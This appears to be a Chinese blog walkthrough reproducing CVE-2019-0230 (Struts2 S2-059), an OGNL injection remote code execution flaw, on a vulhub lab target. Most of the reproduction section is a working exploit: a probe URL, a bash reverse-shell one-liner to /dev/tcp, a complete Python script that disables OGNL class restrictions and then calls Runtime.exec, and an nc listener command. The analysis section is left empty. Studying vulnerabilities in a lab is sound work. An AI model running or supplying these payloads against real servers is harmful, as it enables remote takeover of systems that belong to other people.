CVE-2019-0230 S2-059复现
0X00-引言
study hard and make progress
0X01-环境搭建
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
0X02-漏洞描述
攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
影响版本: Struts 2.0.0 - Struts 2.5.20
0X03-漏洞复现
http://192.168.234.128:8080/?id=%25{3*7}

01-反弹shell
bash -i >& /dev/tcp/IP/port 0>&1
base64编码网址:http://www.jackson-t.ca/runtime-exec-payloads.html
python脚本:
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
修改url

修改data2中的exec()中内容,是通过网页base64编码的内容

先开启监听在执行脚本
nc -lvvp 1234

执行脚本

监听成功

0X04-漏洞分析
略,看懂源码后再搞

浙公网安备 33010602011771号